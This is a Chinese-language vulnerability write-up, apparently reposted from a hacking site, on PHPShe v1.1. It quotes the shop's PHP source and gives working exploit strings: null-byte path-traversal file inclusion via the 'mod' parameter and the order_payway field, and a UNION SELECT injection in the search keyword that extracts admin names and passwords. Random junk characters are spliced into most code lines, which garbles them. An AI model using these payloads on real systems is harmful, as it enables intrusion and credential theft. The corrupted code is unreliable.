phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
! _, b* A( h0 j/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
  h* Q4 [1 ^6 ?0 \# t) w1 s7 W/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输

" r' q9 ~2 H* k4 l8 h

: U! f2 W( l$ k, J0 d+ e+ d; }! I//common.php
* H# j3 H: S1 U; Q2 E) K2 c7 ?if (get_magic_quotes_gpc()) {
: o; B$ m( E' d" s!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
, f: h" {2 b$ {" R  ?4 ~! `: d}
& z# m4 O# c3 A# l2 [: Yelse {
/ b1 }" I" H2 j) |* w' f1 P!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
1 J+ X. {( j6 G  O8 m% T. }) z!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
: X7 e! F" n& G1 g. i}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
7 v% ]  g6 c3 R!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
! B; |# m$ ~# ^3 A% q9 Y
0×01 包含漏洞

5 V' C! u, c1 v2 C8 l7 E
5 c/ n" G7 ?/ h: u4 c" L//首页文件
) m: J; u! j+ g6 w1 V1 u8 B<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
/ r4 ^" t6 I2 `" I$ `include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
% w5 r2 h; A, w( C# X1 g8 `6 xpe_result();
?>
! O5 R- @0 h+ u//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
8 F. t) M' l( r: G' D" g//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

+ J0 h; W7 \- @, A- w
% e- H, w: K0 I. @! T 0×02 搜索注入

7 d8 X$ K1 e& _4 Q<code id="code2">

//product.php文件
# i0 `6 l5 M3 o( D+ ucase 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
8 g" K# L7 [. i//搜索
- O+ s3 ^& m/ V$sqlwhere = " and `product_state` = 1";
, r9 u; h% S6 x1 h8 Vpe_lead('hook/category.hook.php');
7 x" L+ S7 U7 t* g  |0 P* m* dif ($category_id) {
1 A6 s+ ~# v) P  S" a' ?8 P9 H. m% Xwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
' `& u' M( U* f: H2 Q; s}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
) `% S/ y$ d" i  l5 I% ]$orderby = explode('_', $_g_orderby);
8 g; p$ m: s% ], e, x! C$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
% p; J1 \5 U& {% C5 c3 {; a; t9 J% X* z}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$ G. H4 a5 k! ?$ f  R' C4 H: Z8 s$product_hotlist = product_hotlist();
//当前路径
- V# C7 {3 y( O$nowpath = category_path($category_id);
; d; y; L  Z; }% h/ l, n$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
, E& J: D/ o- ^2 Q2 v//跟进selectall函数库
" q" ?% w% d1 l. W2 O2 H: mpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
! [/ z2 [4 h5 Y/ ~{
//处理条件语句
& R) n5 b  e2 ^2 \: b$ \3 Z$sqlwhere = $this->_dowhere($where);
/ C7 P9 y3 ]. _% ]+ l. g( ?' A' [return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
' \3 o& N2 O1 s4 M/ i' W}
//exp
2 m5 s5 s, f! hproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
* n! K4 K, t+ A  V( i' N

</code>

7 F+ G+ F+ }5 m# f; k4 O7 m0×03 包含漏洞2
1 D( R) ]6 H3 R$ B) G
<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

! P, `7 z9 i( j) o+ qforeach($cache_payway as $k => $v) {

) u% q' w0 x. t; Q, W  v; v4 l$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

0 Q$ A  @4 b/ u. r; Oif ($k == 'bank') {

% i) v, a: c6 _( q7 O$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

( _+ V7 \7 v8 f( y1 `0 Y3 ^! X' k}

# K5 e) W8 u0 y! q$ }}

" @2 @; i+ {% _& t+ D3 f$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

5 _! |- F! X/ F0 @& K5 G- }!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

1 F; w! T& h1 Q  ^( ~0 u$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

) K! W" Z2 g; K5 _/ I1 Oforeach ($info_list as $v) {

9 f/ |( \! j9 f$ M+ f$ P$order['order_name'] .= "{$v['product_name']};";
% _) p) A9 B, A' a5 j

# `) O$ K) Z$ e}

3 [9 R5 V" D4 a4 H* b% v5 lecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

7 m5 o. u8 Y; Z0 Oelse {

pe_error('支付错误...');

& Z- k! i! z) g- z. R, i3 U$ w}

}

0 `" t$ y- c+ x. D$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg